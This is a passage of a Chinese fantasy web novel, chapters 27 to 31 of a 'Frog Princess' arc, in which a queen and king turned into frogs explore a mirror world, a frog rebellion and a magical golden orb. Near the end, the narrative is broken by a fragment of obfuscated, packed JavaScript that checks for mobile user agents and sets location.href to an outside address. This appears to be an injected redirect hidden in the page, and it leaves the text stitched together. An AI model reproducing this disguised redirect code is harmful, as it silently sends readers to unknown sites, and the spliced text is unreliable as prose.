他愤怒地吼道：“她偷走了金球！把我的世界变成这样面目全非！” 27. 青蛙公主（8） “他疯了。”青蛙里希也认同卡特琳娜的说法，巨蛇卡尔有着非常严重的精神问题。 他在王座厅吼叫发疯，并把眼前的两只青蛙当做幻觉。 “都是她害的！我一定要找到她！找到她！我要杀了她……”卡尔大吼大叫，陷入了疯狂。 “我们走。”青蛙里希拉住卡特琳娜的手，想趁着卡尔发疯的时候逃出去。 卡特琳娜刚刚被摔到了背，虽然脚没事，但也浑身疼痛。青蛙里希看出她行动不便，让她趴在自己的背上，然后一跳一跳地往角落里逃。 虽然整个王宫如卡尔所说变得面目全非，但与洛尔兰王宫的布局极其相似。青蛙里希轻松找到了暖气通道，带着卡特琳娜钻了进去。 “你既然知道这种地方，怎么不早点带我躲进来？呱！”卡特琳娜气得一巴掌拍在青蛙里希的背上。 “我看你跟他聊得很愉快，以为你不需要。”青蛙里希面无表情地说。 卡特琳娜对建筑布局没那么敏感，但也确实能感觉到洛尔兰王宫内比外面暖和，原来是有暖气管道。现在这镜中世界是春夏，不需要暖气，正好可以让两只小小的青蛙躲进来。 “你弟弟怎么这么疯？”卡特琳娜抱怨着，从青蛙里希的背上跳下。她发现角落里爬过一只虫子，立即伸出舌头把虫给卷进嘴里吃掉。 “他被精神污染了。”青蛙里希的眼色沉下来，不仅对卡尔的状况没有办法，对卡特琳娜的行为也没有预料，“这个镜中世界非常危险，我怀疑呆得越久，越会受到影响。你现在已经非常适应作为一只青蛙，再久一些，我怕你真觉得自己是青蛙，而不是人。” 听到这话，卡特琳娜赶紧把肚子里消化了一半的虫子给呕出来。 是的，她明明是人！她为什么要吃虫子？ 她在不知不觉中被影响了，到底是谁要害她？她不禁想起那个窥视她的幽灵……是幽灵用诅咒将纳温变成了青蛙…… 也许，她和海因里希也是中了诅咒，需要真爱之吻才能够…… “我相信这个镜中世界不是你的阴谋了。”青蛙里希看着卡特琳娜的呕吐后呆愣着的样子，心情非常复杂，“你看起来真的很傻。” 卡特琳娜：…… 她也知道自己很傻，但这样直白地说出来显得蛙很没有礼貌耶。 “但你确实知道些什么对吧？”青蛙里希直视着她的眼睛，“比如纳温的诅咒，比如被她偷走的金球。” 不愧是海因里希，拥有费里特独立大学政治军事学和魔法学双学位的高材生，有着敏锐的洞察力。 卡特琳娜见他表示了相信自己，就没有隐瞒，说：“纳温被诅咒变成了青蛙，必须要真爱之吻才能解除她身上的诅咒，让她恢复人形。至于那个金球……” 卡特琳娜回忆起巨蛇卡尔的原话，是纳温偷走了金球后，一切变得面目全非。也就是从那时候起，卡尔记忆中的王宫变了，变得梦幻而诡异。他本人成为了半人半蛇的怪物，宫内的守卫也变成了狮子、巨蛇这样的野兽。 “金球本该是卡尔所有，但被纳温偷走。”卡特琳娜说出了自己的猜测，“我觉得金球是个关键，很可能镜中世界的变化与它有关。你不知道吗？你以前有没有听说过卡尔有什么金球？” “那应该不会是普通的金球。”青蛙里希仔细思索着，“虽然洛尔兰不是富有的国家，但黄金储备并不算少，像金球、金条、金饰这样的东西还是有很多。卡尔住在肯古丽湖古堡，那里有先祖的遗产，并不缺少黄金制品。每年新月节前卡尔到王宫时，都会带一些漂亮的小玩意儿……” 说到这里，海因里希目不转睛盯着卡特琳娜看。 “怎么，我脸上有什么吗？”卡特琳娜摸了摸自己的青蛙脸，干干的让她觉得难受，好想要进池塘里去！ “他倒不需要讨好我，所以每年来王宫，只会特意给你准备精致的礼物。至于我和玛利亚，他顶多给我们带些肯古丽湖的鱼鲜和水果，或者是从森林里猎的麋鹿。” 卡特琳娜立即理解了他话中的意思，反问：“难道你想说，他让青蛙纳温去捡的金球，很有可能是带给我的新月节礼物？” 青蛙里希答：“是，这是最可能的。” 即使这个推测正确，也对他们在镜中世界的处境没有什么帮助。现在最要紧的是找到青蛙纳温，知道卡尔疯狂的真正原因，从中探究破除诅咒并离开镜中世界的办法。 “真爱之吻能够破除青蛙诅咒？”里希质问。 卡特琳娜也并不是很确定，但她看的童话故事书确实是这样说的。似乎很多童话都是这样，真爱能战胜一切。 白雪公主和睡美人能被真爱之吻唤醒，王子的真爱之吻能让美人鱼避免成为泡沫，公主的真爱之吻能让青蛙变回王子…… “我们变成青蛙，也是因为这个诅咒吗？”里希又问。 卡特琳娜怎么知道？她也是很莫名其妙变成青蛙的好吗？所以她只能如实回答：“不一定吧，但这确实是一个线索。” 她看着青蛙里希，有了一个想法，如果他们是一对相爱的夫妻的话，是不是他们的吻能让对方恢复原形？ “即使要恢复人形，也不能在管道里。”卡特琳娜建议道，“这里太窄了，我们的人类躯体会被憋死，有什么想法留到出去之后再说。” 青蛙里希带着卡特琳娜从暖气管道移动。虽然青蛙擅长弹跳，但攀爬能力实在有限，他们移动了很久，才从烟囱中爬出来。 精疲力竭，瘫倒在屋顶上。 “……你不觉得，这个天空很古怪吗？”卡特琳娜看着头顶的天空，油然而生出一种惊悚的感觉。 之前卡特琳娜从井中出来，并没有仔细去看，体感是春夏之际，天空明媚舒适。现在她站在王宫的顶上，躺着便能清楚看到天空，才发现不寻常之处。 天上的太阳就像是灯泡一样一动不动，旁边的云朵就像是画上去的一样也一动不动。她看过电影《楚门的世界》，现在她所处的世界正如《楚门的世界》，天空是像幕布一样的 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现在他们在王宫顶上，是开阔的环境，如果能变回人形，情况会好很多。至于真爱不真爱，他们无法下明确的定义，只能说试一试。 卡特琳娜想着既然是她首先提出来的建议，她来主动也没关系，于是她抱住青蛙里希一顿狂啃。因为她自己就是青蛙，她觉得眼前的青蛙也挺眉清目秀，所以一点心里负担都没有。 突然有点想吃麻辣蛙了……也不知道这个世界里有没有这道菜。卡特琳娜心里想，没有也没关系，她可以自己学着做，应该很简单，把辣椒和蛙肉炒在一起……味道肯定鲜美。 “够了。”青蛙里希忍无可忍，将抱住他的另一只青蛙推开。 怎么可能有效？即使他与卡特琳娜是合法夫妻，但他们实际上是一对有着血海深仇的敌人。国家、姓氏、血脉，他们之间只有算计、争斗和阴谋—— 在他将卡特琳娜推开的瞬间，他发现自己身上发出金黄色的光芒。海因里感到一阵天旋地转，一转头，便看到缩小了无数倍的青蛙卡特琳娜在他的脚边。 那只青蛙高兴得蹦蹦跳跳，扑到他怀里来，大声喊着：“里希！我们成功了！你变回去了！呱！呱！呱！” 他伸出手，看到了自己人类的五指，又摸到自己的脸，是人类的眼睛、鼻子、耳朵，他真的变回去了。 他将怀里的青蛙抓在手里，心里震惊不已。 真爱之吻。 怎么可能？ 十年，他们结婚十年，他从来没有爱过这个恶毒的女人，甚至于连一丝好感都没有。她虐待他的女儿，她执掌他的国政，她还出轨了教会的神父并使其怀孕—— 但是，她竟然是真的爱他。 “哇哇哇！”卡特琳娜很快发现了自己还是一只青蛙，差点哭出声来，“呱！为什么我没有变回去？” 她不可能变回去。 他清楚地知道，因为海因里希*内华达*范维西，从来没有爱过她。 28. 青蛙公主（9） 看来解除诅咒与真爱不真爱没有一点关系，卡特琳娜很快得出了结论。她被海因里希握在手里，发现他身上穿着当初入井时的衣服。 看来青蛙里希穿不穿衣服，与他海因里希穿不穿衣服也没有什么关系。 “现在该怎么办？”海因里希询问手里的青蛙。既然“真爱之吻”真的解除了他身上的青蛙诅咒，那他愿意相信卡特琳娜有别的办法让他们离开这个镜中世界。 卡特琳娜没有一点头绪，她现在只想要在池塘里浮水池虫。 “去找米洛吧。”她相信米洛会有办法。 话音刚落，一阵剧烈的震动从脚下传来，整个王宫都在摇晃，海因里希差点没站稳。远处，隆隆的声响越来越近，似乎隐含着无数只青蛙的呱呱叫声。 “发生了什么事?”海因里希非常警惕，手已经握上了腰间的宝剑。 卡特琳娜眯起眼睛，望向王宫周围，并没有马上发现震感的来源，反而是看到了熟悉的身影出现在花园中。 “米洛在那里！”她给海因里希指道。 海因里希让青蛙卡特琳娜趴在自己的肩上，然后从王宫的穹顶往下，敏捷地往花园中的米洛处而去。 卡特琳娜感叹：“你身手还挺好。” 因为速度太快，她在里希肩头没有抓的东西，所以她干脆跳到里希的头顶，抓住人家的头发以防自己掉下去。 这让她有种玩《刺客信条》的感觉，还是第一人称视角。虽然之前米洛给她介绍过海因里希剑术优秀，但她没想到人家跑酷也不赖。 “……”海因里希能感觉到青蛙跑到他头顶，还抓着他的头发。 他一边从王宫外墙往下跳跃一边说：“如果你不把我的头发揪得那么痛，也许我的身手还能更好。” 不揪他头发那还能揪哪里？卡特琳娜的姿势只能呈现一个“大”字，两只手揪着他的耳朵，两只腿夹着他的后脖颈。 米洛见到海因里希朝她奔跑过来，却没有发现卡特琳娜的踪迹。她想要表达惊奇，却不太适应人类的表情变化，竟表现地略带喜悦，问：“我的卡特琳娜呢？” 她还穿着婚礼油画里的婚纱，喜悦的新娘站在花丛里的形象让海因里希不由自主想起了费里特王宫里的那场盛大婚礼。 他们第一次见面时是什么情形？他已经记不太清了，但却没有忘记画婚礼油画时，他们僵硬地站在画师面前。画师莫尼诗多次强调让他们靠得更近一些，然后他们的胳膊才勉为其难地挽在一起。 那幅油画，一直被卡特琳娜挂在自己的卧室墙上。海因里希突然想起来，上次去她卧室时，那幅油画似乎并不在现场。 他不敢仔细去看米洛那张与卡特琳娜一模一样的脸，回避着目光接触，从头上把青蛙给薅下来抓在手里，说：“她在这里。” “为什么他变成人，你却还是青蛙？”米洛从他手中接过卡特琳娜，这次她不需要故意表演，也展现出了惊奇的情绪。 “我还想问你呢！”卡特琳娜趴在米洛的手掌中，气得肚皮一鼓一鼓，“我们试了试‘真爱之吻’想要破除诅咒，但他变回了人形，我却还是青蛙。米洛，难道你一点不知道原因吗？” 米洛眼珠子转转，回答道：“我的卡特琳娜，要搞清楚这种现象出现的原因，也许我们需要复习一下幽灵学派将人类变成动物、植物或其他物体的魔法学原理。这其实是精神学暗示的一种，将人类的灵场的潜意识进行定植和扭曲。” “说点我能听懂的。”卡特琳娜就知道，还是得米洛，不然她哪里能想到从原理上分析诅咒。 “比如将纳温变成青蛙。首先，被施法者纳温的意识里必须知道青蛙是什么样的，至少理解青蛙该怎么生活；其次，施法者将‘我是青蛙’这一基本概念定植到被施法者的灵场深处，让被施法者无法否认自己现在确实是一只青蛙；最后，由于这是外来的概念，很容易让被施法者的精神体产生排斥效应，所以施法者必须对她的灵场进行深度扭曲——即再定植一个条件，让排斥效应被条件限制——如果有人真的爱我，那我才能够从青蛙变回人类。 “通过仪式魔法后，被施法者纳温变成了一只青蛙，无论是她自己还是其他人都会认为她是一只青蛙。而让她恢复原形的办法，则是满足设定好的条件限制，激活她灵场深处的排斥效应。” 米洛耐心地向卡特琳娜解释：“幽灵魔法学派讲求的是，每一个人都会变成幽灵，每一个幽灵都有可能变成人，幽灵的本能即是人的本能，幽灵的欲望则是人的欲望。作为一个人，只有认识到自己是人，那他/她才会是人。不过，人灵派的很多魔法都还处于未被探索的空白，以上是学界目前的共识。” 卡特琳娜大概理解她的说法了，也就是说破除青蛙诅咒，必须要找到施法时的限制条件。 “不过，我和里希变成青蛙，也是因为幽灵魔法学派的变形诅咒吗？”卡特琳娜抓住了其中的关键点，仍然非常疑惑，“我们穿越到了镜中世界后发现自己变成了青蛙，但跟我们一样穿越到镜中世界的卡尔却没有，这又是为什么？” “镜子，是世界的另一面。已故的镜子魔法学巫师塞西莉亚有一句名言——没人知道镜子里是真的，还是自己是真的。”米洛没法给出准确的答案，只能做出推测，“这个镜中世界的成因我们还不清楚，但可以肯定的是，井底的冰层镜面复制了纳温身上的诅咒，映射到了你们的身上——这应该是被弱化过的诅咒，破解条件很可能有了变化。至于卡尔为什么没有变成青蛙，应该是与镜中世界的成因有关。” “我知道了。”卡特琳娜很快捕捉到两次进入镜中世界的不同，“第一次卡尔进入镜中世界的时候，金球是属于他；而第二次我和里希进入镜中世界的时候，金球被纳温偷走，是属于纳温。这是很明显的线索，那个金球就是这个镜中世界的成因。” 海因里希一只在旁边默默听着她们对话，对卡特琳娜的推理表示认同。他们把在王宫里的经历简要告诉了米洛，询问米洛有没有获得其他情报。 “我 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听到战争一触即发，卡特琳娜和海因里希对视了一眼，但他们并不理解对方眼中的情绪。这场战争将决定镜中世界的命运，而他们作为外来者，这是一个很好的机会。 “我们必须尽快找到破解诅咒的方法。”卡特琳娜下定决心，“我不能一直是一只青蛙。也要尽快与纳温见面，从她手中的金球找到离开镜中世界的线索。” 海因里希也提出建议：“如果纳温真的要发动战争，那她很可能会随身携带金球。我们必须想办法接近她，甚至......” 他犹豫了一下,看着米洛手里的卡特琳娜继续说：“甚至是加入她的阵营。” “加入纳温的阵营?”米洛懵懵地抬头，看向海因里希，“这可能是一个办法，但我们也需要考虑到她是卡尔国王的敌人，这样做会有一定程度的危险。而且我们看起来像是人类，很难被青蛙接纳……” “我还是青蛙嘛。”卡特琳娜跳了出来，这可能是她没有恢复人形的唯一便利之处，“我可以混入起义军中，找机会接近纳温。” 海因里希赞同地点点头：“我们兵分两路，我和米洛去王宫找卡尔，你去接近纳温。” 他们两人一蛙商议好计划后，海因里希将衣服扣子扯下一颗给卡特琳娜，说：“这是魔法物品，你把它抛向空中，并用灵力念诵古希博语‘飞舞’将它激活，它会变成一只冰雪蝴蝶来到我身边，引领我去找你。只是现在温度较高，十分钟左右恐怕它就会融化成水。” 卡特琳娜不客气地收下，把纽扣压在舌头下面，问：“还有别的吗？再给我一些呗。能不能是强力一点的，可以保命的东西。” 海因里希：“你作为青蛙太小只，很多东西都拿不了。” 话是这样说，他还是将袖口的好几根金线扯下来给了卡特琳娜。 “用灵力念诵古希博语‘冰冻’，被这条线缠绕的物体将会立即结冰。” 卡特琳娜没想到海因里希这家伙身上穿的东西，都多多少少是魔法物品。看来等她出去现界之后，也要好好武装一下自己才行。 29. 青蛙公主（10） 卡特琳娜独自一蛙往西侧偏殿去，那个位置正好是她和青蛙里希被关押的牢房。 因为之前发生过一场小型爆炸，所以现在有不少王宫守卫集中在一起，似乎在排查建筑的安全隐患。卡特琳娜躲在草丛的暗处观察，被“呱”的声音吸引了注意力。 她回过头，发现是一只青蛙。 “卡特琳娜，美丽的女士，缘分让我们又见面了。” 卡特琳娜从声音中听出，这是曾经的狱友皮科尔德。他如今全副武装，穿上了青蛙铠甲，手上拿着长矛一样的武器，看起来相当威风。 “怎么回事？你不是被关在地牢，怎么出现在这里？”卡特琳娜询问。 皮科尔德身后闪现出许多金黄色的青蛙眼睛，他们全部隐藏在茂密的草地里，似乎在等待某个时机。 “应该是我问你才对吧？你不是被抓去受刑，怎么会在这里？” “我逃出来了。”卡特琳娜没有说明过程，告诉了他结果。 “我们也是，逃出来了。”皮科尔德将卡特琳娜往草丛里拉，“这不是你这样柔弱的女士应该呆的地方。你从这里往东走，会见到一口枯井，跳进去，那里通向蛙蛙共和国的地下城。地下城非常隐秘，由蛙蛙武士看守，是暂时安全的。” 卡特琳娜知道那口井，就是她和海因里希来到镜中世界的那个。 她抓住皮科尔德的手，没有答应他的话，而是问：“所以你们是起义军，要发动战争推翻巴纳罗王国？可是你们只是一群青蛙，要怎么跟狮子还有巨蛇对抗？” “我们有领袖纳温，她将带领我们战胜一切不可能！” 说话间，草丛中的青蛙纷纷站开，露出了一条通道，一只与众不同的青蛙跳了出来。 它的体型比普通的青蛙稍微大一些，身着一件用莲叶和藓类编织成的披风，披风上点缀着晶莹剔透的露珠，在阳光下折射出七彩的光芒。露在外面的皮肤上长着金色的斑点，在昏暗的环境中闪烁着微光，看起来诡异又美丽。 最引人注目的，是青蛙嘴里含着一颗金球——准确来说应该是一颗金色的珠子。金珠直径约有普通青蛙眼睛大小，表面镌刻着神秘的符文，闪烁着刺眼的光芒。 卡特琳娜被那金色的光芒震慑，趴在地上低低地“呱”了一声。皮科尔德赶紧把卡特琳娜往旁边拉，让她不要挡住金色青蛙的道。 “一切已经准备就绪，只要您一声令下，我们将对巴纳罗发起猛攻！”皮科尔德对金色青蛙说。 看来，这只气势汹汹的金色青蛙正是被诅咒变成青蛙的纳温公主了。 她的嘴里的金光也吸引了不远处狮子守卫的注意。一只狮子走到纳温的跟前，它低下身子去抓金光的源头，却在碰到纳温的瞬间，变成了一座黄金狮子雕像。 卡特琳娜看得呆住，这不就是“点石成金”的寓言吗？ 变成黄金的狮子守卫引起了其他守卫的注意，他们刚刚接近，纳温便接连跳到他们身上。 所有与她有过接触的守卫，都在瞬间变成了黄金。 没一会儿时间，西侧偏殿外面的守卫就都被解决掉了。草丛里的青蛙纷纷冲了出去，高举着手中的武器，高喊着： “纳温！纳温！纳温！蛙蛙共和国伟大的领袖！” 而青蛙纳温站在最高大的黄金狮子守卫雕像上，嘴里含着金球，目光坚决，呼喊：“为解放世界上的所有青蛙而战斗！” 青蛙军团士气昂扬，纷纷跟着纳温往王宫内部猛冲。 皮科尔德不放心卡特琳娜，给了她一把长矛，说：“我记得你说你是纳温的亲戚，从很远的地方来找她。现在正是战争的关键时候，不知道你们有没有私下见面的机会。既然你不愿意去地下城，那你拿着武器跟在军团的后面，保护好你自己。” 说完，皮科尔德便快速往前跳跃，淹没在蛙蛙军团之中。 卡特琳娜心里有些发虚，青蛙纳温也给她一种疯狂的感觉，程度比巨蛇卡尔有过之而无不及。 她想到之前米洛告诉她关于纳温的事情，纳温*道格斯是一个很叛逆的公主。她一心想要去费里特独立大学攻读自然科学，不顾父亲的反对去到瓦沙克亲王所管辖的教会中学备考。既然是自然科学预科班的学生，想必她不仅对植物，对青蛙也应该非常了解。 卡特琳娜不能放任她不管，赶紧跟随青蛙军团往前跳，想要找机会跟纳温说上话。 * 另一边。 恢复人形的海因里希带着米洛潜入了王宫内部。 他现在已经非常确定这座看似梦幻华丽的宫殿，本质上还是洛尔兰王宫的架构。他们轻松避开了守卫，来到了王座厅。 但巨蛇卡尔已经不在这里了。 “你觉得卡尔会在哪里？”海因里希学着卡特琳娜的样子对米洛问道。 他并不是很相信卡特琳娜所说，这个如婚礼油画里的女人是卡特琳娜分裂出来的其中一个人格。据他所知，卡特琳娜应该是幽灵学派的资深巫师，而人灵派巫师出现人格分裂的疾病，会早早精神暴裂身亡。 而且，他听到了卡特琳娜和米洛之间的所有对话，看到了米洛脸上不自然的对人类表情的模仿。 仅凭他的判断，眼前这个叫米洛的女人，应该是一具类似人偶的东西。毕竟傀儡师也是人灵派，卡特琳娜涉足傀儡师的巫术并不算奇怪。 米洛并没有回答海因里希的话，而是自言自语般说：“我的卡特琳娜会在哪里呢？她当然是会永远跟我在一起。她亲了谁一口，并不意味着就是喜欢谁。” 她幽幽地看着海因里希，伸手做出要抚摸他的脸的动作，却将手指停在离他几厘米外。 海因里希不禁皱眉，完全不理解她突然说这话是什么意思。他看着米洛美丽却僵硬的五官，心中出现了某种危险预感。 他立即跳跃起身，在地上一滚，转头去看，发现米洛手中突然出现一把血红匕首，插入了他刚刚所在的地面。 “你要杀了我？！”他不敢相信，他以为米洛是卡特琳娜的傀儡，怎么说也应该是与他站 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海因里希感觉寒意自脚底传来，他低头一看，自己的鞋和裤子也被冻住了。他抬头惊讶地看着眼前的女人，她绝不可能只是卡特琳娜的傀儡，她会使用禁忌的镜子魔法。 这是镜子魔法最简单也最高阶的一种，镜子复制术，能够将敌人使用过的魔法复制使用。 海因里希靠力量将冰块震碎，心中犹疑不定。 米洛也学着他的样子，靠力量将冰块震碎。 “你究竟是谁？”海因里希沉声质问。 米洛身上浮现黑雾，手中的匕首变成与海因里希手中宝剑相等的长度。她身上的白色结婚礼服变得暗色，她的面孔出现了扭曲和变形。 海因里希看到她变成了一个跟自己长得一模一样，穿着一模一样衣服的男人。但这个“海因里希”的表情和语气有些僵硬，握剑的手是左手。 又是镜子魔法。 海因里希早该想到，这个镜中世界绝对是一个陷阱。 “你不必知道。”“海因里希”拿起黑色的长剑，朝真正的海因里希猛然进攻。 * 巴纳罗王宫西侧偏殿。 蛙蛙军团已经彻底占领这一地界，纳温将绝大多数守卫都变作了黄金。余下的狮子守卫被挟持，纳温让其中一只去找卡尔国王通报，说蛙蛙共和国要求谈判。 卡特琳娜赶紧趁着蛙蛙们修整的时间挤到青蛙纳温的面前，但她不敢说明自己的真实身份，毕竟是前卡特琳娜诅咒让纳温变成青蛙的。 “我是，我是你父亲巴尔*道格斯派来找你的。”她随意给自己安排了一个身份，“纳温公主，你还记得你自己是谁吗？” 金色斑点的青蛙纳温侧过眼看了她一下，态度坚定地回答：“我当然知道，我是蛙蛙共和国的创始人，是解放青蛙的先驱，是蛙蛙起义军的领袖。我是纳温，我的存在是为了推翻巴纳罗王国的暴虐统治！” 30. 青蛙公主（11） 完了，青蛙公主她走火入魔了。 卡特琳娜见纳温似乎已经忘记了自己的真实身份，转而问道：“可是，卡尔不是你最好的朋友吗？你为什么一定要跟他对战，有什么误会不能先坐下来好好谈谈吗？” “是他先开始的。”纳温态度强硬。 这时候，先前派出押送狮子守卫青蛙士兵跳跃回来，带来了卡尔国王回复的消息。 “国王说，绝不妥协。” 青蛙纳温回答：“我必奉陪。” 听到领袖的应战，所有青蛙勇士都激昂不已，他们摇旗呐喊，为纳温助威：“纳温！纳温！纳温！” 青蛙士兵们在纳温的带领下，准备冲破王宫的其他区域，而王宫的狮子守卫和巨蛇守卫也赶来抵御。他们数量虽然少，却力大威猛，让青蛙军团一时间无法抵达王宫的正殿，场面看起来混乱无比。 卡特琳娜心里暗骂了一句，没想到这个童话故事是战争动作类型，一只巨蛇和一只青蛙要决一死战，几只大型食肉动物和一群青蛙缠斗不休。 她再次跳到纳温旁边，试图劝阻：“纳温，我知道你为青蛙的解放而战，这很伟大。但战争会带来无数死伤和痛苦，何况卡尔曾经是你最好的朋友，你们之间一定有什么误会。 “求你再考虑一下，也许你们可以用别的方式解决问题……他以为你欺骗他的感情，利用他破除青蛙的诅咒，但实际上你是把他当做最好的朋友的对吧？只要你们能解开误会，你还有机会变回人形……” “我确实是利用他。”纳温终于停下脚步转过头来看着卡特琳娜，她嘴里衔着的金球闪烁着奇异的光芒。 她凝视的眼神中混杂着很多情绪，坚定、痛苦和迷茫，但就是没有悔恨，“这已经不仅仅是为了青蛙们的自由，还是为了我的自由。他想将我困在一方天地，绝不可能。虽然我只是一只青蛙，但我还有很多自己想要做的事情，我不会甘于被他困在王宫，也不会受制于他颁布的歧视法令。 “做青蛙没什么不好的，我有这么多支持我的民众。我们建立的蛙蛙地下城不会只是地下城，蛙蛙共和国总会有见到阳光的一天。我们青蛙要享有跟其他国民同样的生命权利，我们要接受同样的教育，享受同样的福利保障，我们……” “可你不是青蛙！”卡特琳娜听不下去了，她觉得纳温的精神状况出现了很大的问题，她已经迷失自己。 卡特琳娜抓住她的手，摇晃她的身体，试图将她唤醒：“你是人类！你的名字叫纳温*道格斯！你是亲王巴尔*道格斯的女儿，是莫里安的公主！你的梦想是通过费里特独立大学自然科学系的入学资格考试，在毕业后成为一名伟大的科学家！” 纳温听到她的大声说话后愣住了。 为了让她醒悟，卡特琳娜趁机说明更多信息：“你独自一人前往亚连士雪山教会中学读书，为了入学资格考试备考。你在野外收集植物标本的时候，遭遇了意外。一个巫婆诅咒了你，将你变成一只青蛙，并把你关在废弃的井底！” “不，不是……”纳温的眼神突然变得迷蒙，呼吸急促。 “你难道不想要恢复人形吗？”卡特琳娜逐步劝导，“你被诅咒变成了青蛙，破解诅咒的条件是真心人的真爱之吻——当然，不一定是人，一只蛇应该也可以。卡尔把你当做最好的朋友的，他的吻无疑是最合适的……” 她的话还没有说完，就被纳温打断。 “别说了。”纳温似乎想起了什么，但她并没有改变主意，她眼神中的坚定丝毫不减，“他不可能喜欢一只青蛙。为了履行承诺，他才愿意跟我成为朋友，但打从心底里，他对青蛙无比厌恶。他是英俊、高贵、善良的王子，而我只是一只丑陋、低贱、卑劣的青蛙。” 卡特琳娜反驳道：“已经不是了，他现在长得很丑，是半人半蛇的怪物，恶心又吓人。反而我们青蛙多么可爱，哪里丑陋了？” “我很久没见过他了，他变成那样了吗？” 卡特琳娜的话唤起了纳温的回忆，让她陷入混乱之中。卡特琳娜见她怎么都在死胡同里打转，心里急得不行。 青蛙军团占了上风，竟然将狮子和巨蛇守卫限制住，破开了通向正殿的大门。无数的青蛙跳跃着往前冲刺，脚下踩着牺牲青蛙的骨血，为了他们青蛙群体的荣誉而战斗。 纳温被士兵们的呐喊吸引，不想再理会卡特琳娜，往前跳跃。 没有别的办法了，卡特琳娜不能眼睁睁看着她这样走掉，她想要将这个童话故事修复回原著那样的美好结局。也许，必须要有一个恶毒的配角来推动剧情。 她将海因里希给她的金线扔出去，缠绕住纳温。她低声喊出：“冰冻！” 青蛙纳温杯暂时冻在了原地。 卡特琳娜不得不进一步刺激纳温被麻痹的神经，大声喊道：“纳温！这里的一切都是假的！根本不存在什么巴纳罗王国，也不存在蛙蛙共和国！你不是青蛙，其他的青蛙也并不是真实存在，这一切都只是一场幻觉！你如果不醒过来，你就会永远迷失在这个幻觉里！” 她用尽了全力，喊声很大，不仅是纳温，周围的所有青蛙都停下了动作，转过眼睛来看着她。 “你不是知道吗？卡尔陷入过去的回忆不愿清醒，难道你也要陷入自己编织的梦里一直沉睡？”卡特琳娜鼓起勇气，站在了所有青蛙的对立面，“你偷走金球，说明你心里知道这个世界的根源。你担心卡尔，担心你最好的朋友，所以你打破了他的美梦。你不能也像他那样，你要记得自己是谁。” “纳温*道格斯，难道你连自己的名字都忘记了吗？” 这段话她用了古希博语，并将灵力注入其中，竟然意外奏效。 纳温的眼神瞬间由坚定变得迷蒙，再由迷蒙变得清醒。 周围的青蛙士兵就像是被定格了一样，没有了任何动作。 然而，卡特琳娜内心浮现出一种让她极度恐怖的感觉——明明是质问纳温，她却突然想不起自己的名字了。 她知道自己不是青蛙，她是人类，她是卡特琳娜*布瑞尔*古奥斯，她是卡特琳娜*范维西，她是洛尔兰的王后。 但她本来是谁？ 她不是来自异世界吗？ 她的中文名字叫什么来着？

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632576|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 就像是小时候，她掉进了海洋球里，她怎么挣扎周围也只有海洋球；她想要游到岸边，但海洋球不是真正的海，她根本游不动。 她被困住了，她出不去。 “我的卡特琳娜。” 米洛的声音将她拉回了现实，她发现周围的青蛙军团消失了，领袖纳温也消失了。整个王宫静谧无声，连风声都没有。 “怎么回事？”她摸上米洛手上的脸，察觉自己变回了人形，“你怎么受伤了？” 米洛无力地往她怀里倒，想要做出委屈的表情，却因为不熟练而显得僵硬。卡特琳娜接住她，可怜她身上的鲜红伤口，像是利刃造成。 她愤而告状说：“海因里希认为我是你安插在他身边的奸细！他想要杀了我！” 看来海因里希说信任是伪装出来的。 卡特琳娜并没有很意外，她现在更震惊于自己恢复了人形。但当时明明是她亲了海因里希之后，他才…… “原来是这样……”卡特琳娜看到被纳温遗落在地上的金球，似乎想明白了。 她推开怀里的米洛，走过去将金球捡起来。 在纳温口中如青蛙眼球一般大小的金球，此时却是刚好能被卡特琳娜握在手里。她的思绪稍微变化，金球发着微微的暗光，竟然变成了一根长棍子。 “这个东西好神奇，它能根据人的想法而变化。”卡特琳娜感叹道。 米洛见卡特琳娜对海因里希的事情毫不在意，也就没有继续表演的打算。 她走到卡特琳娜身边，说：“如果我们猜想的不错，整个镜中世界是因它而起，那它很可能是那件早已失传的至宝。据《秘宝图鉴》记载，有一件叫做‘圣泪’的秘宝，是创世神乌克亚在创造这个世界第八天时流下的眼泪。它没有形态，没有重量，拥有它的人希望它是什么它就能变成什么。它可以制造幻境，也可以破坏真实。但没人知道它在哪里，目前流传下来的历史中没有它存在的痕迹，只有零星几句传闻。” 卡特琳娜想让手里的金棍变成金箍棒，但无论她怎么想，这只是一根普通的金色棒子。 “无论是不是，先拿着吧。” 她觉得米洛说得太玄乎，但不可否认金球可能很重要。 她望向宫殿的窗外，天空变得惨白一片，没有了阳光也没有了云朵，宫殿外的花草树木也跟着青蛙军团和王宫守卫一起消失了。 “这个世界要崩塌了。”卡特琳娜得出了结论。 纳温在她锲而不舍的提示下终于觉醒过来，扔下了金球，自己却消失不见。 金球肯定是镜中世界的成因，它将纳温的诅咒反映到了卡特琳娜和海因里希的身上。 在她抛下金球的瞬间，卡特琳娜的诅咒被解除了。 但纳温身上的诅咒，还没有解除。 “不是真爱之吻。”卡特琳娜早该意识到这一点。 镜中世界的诅咒跟现实世界的诅咒应该是相对应的，并不是她的吻解除了海因里希身上的诅咒，而是—— “走。”卡特琳娜拉起米洛的手，说，“我们快去找到他们！要来不及了！” 31. 青蛙公主（12） 卡特琳娜还没有往前走出两步，整个王宫便出现了剧烈的震动。她脚步不稳，拄了下手中的金棍才站好。 米洛扶住她的另一只手，说：“我的卡特琳娜，现在你拥有了‘圣泪’，也破解了身上的诅咒，我相信你可以从来时的古井回去现实。你不需要管范维西三世和他弟弟的死活，更不用在意纳温*道格斯还是不是青蛙，你只需要独自一人离开这里。” 卡特琳娜听到她的话后愣住了。 对，是的，现在她身上映射的诅咒已经消失，手上还拿着一个可以随她意识变化的宝物。她完全可以一个人离开，恶毒的巫婆会将妨碍她的所有人困在这个崩塌的镜中世界。 “我的卡特琳娜，你完全不用担心。”米洛的声音在她耳边响起，带着卡特琳娜少年时候特有的甜蜜嗓音，“我会教你镜子魔法，让你能够模拟出海因里希和卡尔的人物形象，不会有任何人知道他们失踪。” 这确实是一个不错的办法，卡特琳娜心动了。 